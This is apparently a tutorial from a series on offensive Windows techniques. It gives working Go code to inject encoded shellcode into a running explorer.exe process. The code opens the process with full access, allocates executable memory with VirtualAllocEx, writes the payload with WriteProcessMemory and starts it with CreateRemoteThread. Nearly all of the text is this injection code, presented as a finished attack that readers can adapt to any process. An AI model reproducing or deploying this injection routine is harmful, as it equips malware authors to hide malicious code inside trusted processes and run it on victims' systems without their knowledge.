Inject shellcode in the memory of a currently running process
Introduction
In this tutorial, we will demonstrate how to inject shellcode into the memory of an already running process on a Windows system. Instead of creating a new process in a suspended state, this method targets a live process, allocates memory within it, writes the shellcode to the allocated memory, and executes it using a remote thread.
We will use the Windows API to implement the entire workflow. The example below targets the explorer.exe
process for simplicity. However, this can be adapted to any process you wish to manipulate.
For simplicity purposes we stilll use our ROT1 encoded shellcode and the same encryption and decryption process, i also assume you define your process name by yourself in the code as previously described.
Step-by-step breakdown
1. Define PROCESS_ALL_ACCESS manually
As the PROCESS_ALL_ACCESS flag isn't defined in the golang.org/x/sys/windows
we first need to define it manually in the code.
const PROCESS_ALL_ACCESS = 0x1F0FFF
2. Find the Target Process
To manipulate a process, you first need its handle. This is achieved using the CreateToolhelp32Snapshot
function to enumerate running processes and OpenProcess
to obtain the handle of the desired one.
Key Points:
Use the
PROCESS_ALL_ACCESS
permission to gain full control over the target process.Search for processes by name (e.g.,
explorer.exe
).
func findProcessByName(processName string) (windows.Handle, error) {
snapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
if err != nil {
return 0, fmt.Errorf("failed to create process snapshot: %v", err)
}
defer windows.CloseHandle(snapshot)
var processEntry windows.ProcessEntry32
processEntry.Size = uint32(unsafe.Sizeof(processEntry))
for {
err = windows.Process32Next(snapshot, &processEntry)
if err != nil {
if err == windows.ERROR_NO_MORE_FILES {
break
}
return 0, fmt.Errorf("failed to get next process: %v", err)
}
if syscall.UTF16ToString(processEntry.ExeFile[:]) == processName {
handle, err := windows.OpenProcess(PROCESS_ALL_ACCESS, false, processEntry.ProcessID)
if err != nil {
return 0, fmt.Errorf("failed to open process %s: %v", processName, err)
}
return handle, nil
}
}
return 0, fmt.Errorf("process %s not found", processName)
}
3. Allocate Memory in the Target Process
Once you have the process handle, allocate memory within the target process using VirtualAllocEx
. This function reserves and commits a memory region with PAGE_EXECUTE_READWRITE
permissions.
Key Parameters:
Process handle: Handle to the target process.
Memory size: The size of the shellcode to inject.
Protection Flags: Use
PAGE_EXECUTE_READWRITE
to allow execution.
VirtualAllocEx := windows.NewLazySystemDLL("kernel32.dll").NewProc("VirtualAllocEx")
addr, _, err := VirtualAllocEx.Call(
uintptr(processHandle),
0, // NULL address, let the system choose
uintptr(len(encodedShellcode)), // Size of the memory to allocate
windows.MEM_COMMIT|windows.MEM_RESERVE, // Memory type
windows.PAGE_EXECUTE_READWRITE, // Memory protection
)
if addr == 0 {
fmt.Printf("VirtualAllocEx failed: %v\n", err)
return
}
fmt.Printf("Memory allocated at address: 0x%X\n", addr)
4. Write Shellcode to Allocated Memory
With memory allocated, write the shellcode into it using WriteProcessMemory
. This API function allows you to copy data into the memory space of another process.
Key Parameters:
Process handle: Handle to the target process.
Target address: The memory address returned by
VirtualAllocEx
.Shellcode: Our decoded shellcode to inject.
var numBytesWritten uintptr
err = windows.WriteProcessMemory(
processHandle,
addr,
&encodedShellcode[0],
uintptr(len(encodedShellcode)),
&numBytesWritten,
)
if err != nil {
fmt.Printf("WriteProcessMemory failed: %v\n", err)
return
}
5. Execute Shellcode via Remote Thread
Finally, execute the shellcode by creating a new thread in the target process using CreateRemoteThread
. This function allows you to run code at a specified memory address within the target process.
Key Parameters:
Start address: The address of the injected shellcode.
Thread creation flags: Set to 0 for immediate execution.
CreateRemoteThread := windows.NewLazySystemDLL("kernel32.dll").NewProc("CreateRemoteThread")
_, _, err = CreateRemoteThread.Call(
uintptr(processHandle),
0,
0,
addr,
0,
0,
0,
)
if err != nil {
fmt.Printf("CreateRemoteThread failed: %v\n", err)
return
}
fmt.Println("Shellcode injected and executed successfully.")
Result
As a result of all of theses operations, we succeed at our final goal, make an already running explorer.exe
execute our shellcode, as demonstrated here:

Conclusion
In this article we succeed to do the following:
Find the Target Process: Locate the desired process by name and retrieve its process handle. (
explorer.exe
in our case, beacause we know it is always running on a windows computer.)Allocate Memory: Use
VirtualAllocEx
to reserve and commit memory in the target process.Write Shellcode: Copy the shellcode into the allocated memory space using
WriteProcessMemory
.Execute Shellcode: Start a remote thread in the target process at the shellcode's memory address using
CreateRemoteThread
.
The full code is available here.
Last updated